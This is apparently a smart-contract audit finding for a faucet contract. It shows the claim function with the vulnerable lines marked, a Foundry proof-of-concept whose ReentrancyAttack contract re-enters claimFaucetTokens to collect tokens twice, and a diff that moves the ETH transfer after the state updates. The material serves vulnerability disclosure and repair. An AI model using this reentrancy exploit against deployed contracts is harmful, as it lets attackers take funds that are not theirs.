if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
@> hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
@> _transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract ReentrancyAttack {
RaiseBoxFaucet public faucet;
uint256 public claimCount;
bool public attacking;
constructor(address _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
function attack() external {
attacking = true;
faucet.claimFaucetTokens();
attacking = false;
}
receive() external payable {
console.log("Received ETH, reentering...");
if (attacking && claimCount == 0) {
claimCount++;
console.log("Re-entering claimFaucetTokens...");
faucet.claimFaucetTokens();
}
}
}
contract ReentrancyTest is Test {
RaiseBoxFaucet public faucet;
ReentrancyAttack public attacker;
address public owner = makeAddr("owner");
function setUp() public {
vm.startPrank(owner);
faucet = new RaiseBoxFaucet(
"TestToken",
"TEST",
1000 * 10**18,
0.005 ether,
0.1 ether
);
vm.deal(address(faucet), 10 ether);
vm.stopPrank();
attacker = new ReentrancyAttack(address(faucet));
}
function testReentrancyDoubleClaimTokens() public {
console.log("=== REENTRANCY ===");
console.log("");
uint256 attackerBalanceBefore = faucet.balanceOf(address(attacker));
console.log("Attacker token balance before:", attackerBalanceBefore / 1e18);
uint256 faucetBalanceBefore = faucet.balanceOf(address(faucet));
console.log("Faucet token balance before:", faucetBalanceBefore / 1e18);
console.log("");
console.log("Executing reentrancy attack...");
console.log("");
attacker.attack();
uint256 attackerBalanceAfter = faucet.balanceOf(address(attacker));
uint256 faucetBalanceAfter = faucet.balanceOf(address(faucet));
console.log("");
console.log("=== RESULTS ===");
console.log("Attacker token balance after:", attackerBalanceAfter / 1e18);
console.log("Faucet token balance after:", faucetBalanceAfter / 1e18);
console.log("");
console.log("Tokens stolen:", (attackerBalanceAfter - attackerBalanceBefore) / 1e18);
console.log("Expected tokens per claim:", 1000);
console.log("Re-entry count:", attacker.claimCount());
assertEq(attackerBalanceAfter, 2000 * 10**18, "Should have received 2000 tokens (double claim)");
assertEq(faucetBalanceBefore - faucetBalanceAfter, 2000 * 10**18, "Faucet should have lost 2000 tokens");
assertEq(attacker.claimCount(), 1, "Should have re-entered once");
console.log("");
console.log("VULNERABILITY CONFIRMED: Attacker received 2x tokens in single transaction");
}
function testNormalUserReceivesCorrectAmount() public {
console.log("=== NORMAL USER CLAIM TEST (Control) ===");
console.log("");
address normalUser = makeAddr("normalUser");
uint256 balanceBefore = faucet.balanceOf(normalUser);
console.log("Normal user balance before:", balanceBefore / 1e18);
vm.prank(normalUser);
faucet.claimFaucetTokens();
uint256 balanceAfter = faucet.balanceOf(normalUser);
console.log("Normal user balance after:", balanceAfter / 1e18);
console.log("Tokens received:", (balanceAfter - balanceBefore) / 1e18);
assertEq(balanceAfter, 1000 * 10**18, "Normal user should receive exactly 1000 tokens");
console.log("");
console.log("Normal claim works as expected: 1000 tokens");
}
function testReentrancyOnlyWorksOnce() public {
console.log("=== TESTING EXPLOIT LIMITATION ===");
console.log("");
attacker.attack();
uint256 balanceAfterFirstAttack = faucet.balanceOf(address(attacker));
console.log("Balance after first attack:", balanceAfterFirstAttack / 1e18);
vm.warp(block.timestamp + 3 days + 1);
uint256 balanceBeforeSecond = faucet.balanceOf(address(attacker));
attacker.attack();
uint256 balanceAfterSecond = faucet.balanceOf(address(attacker));
uint256 tokensFromSecondAttack = balanceAfterSecond - balanceBeforeSecond;
console.log("Tokens from second attack:", tokensFromSecondAttack / 1e18);
assertEq(tokensFromSecondAttack, 1000 * 10**18, "Second attack should only get 1000 tokens");
console.log("");
console.log("CONFIRMED: Reentrancy only works on first claim (hasClaimedEth prevents repeat)");
}
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
+ // Move ETH drip logic here, AFTER state updates
+ if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
+ uint256 currentDay = block.timestamp / 24 hours;
+
+ if (currentDay > lastDripDay) {
+ lastDripDay = currentDay;
+ dailyDrips = 0;
+ }
+
+ if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
+ hasClaimedEth[faucetClaimer] = true;
+ dailyDrips += sepEthAmountToDrip;
+
+ (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+
+ if (success) {
+ emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ } else {
+ emit SepEthDripSkipped(
+ faucetClaimer,
+ address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
+ );
+ }
+ }
+
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);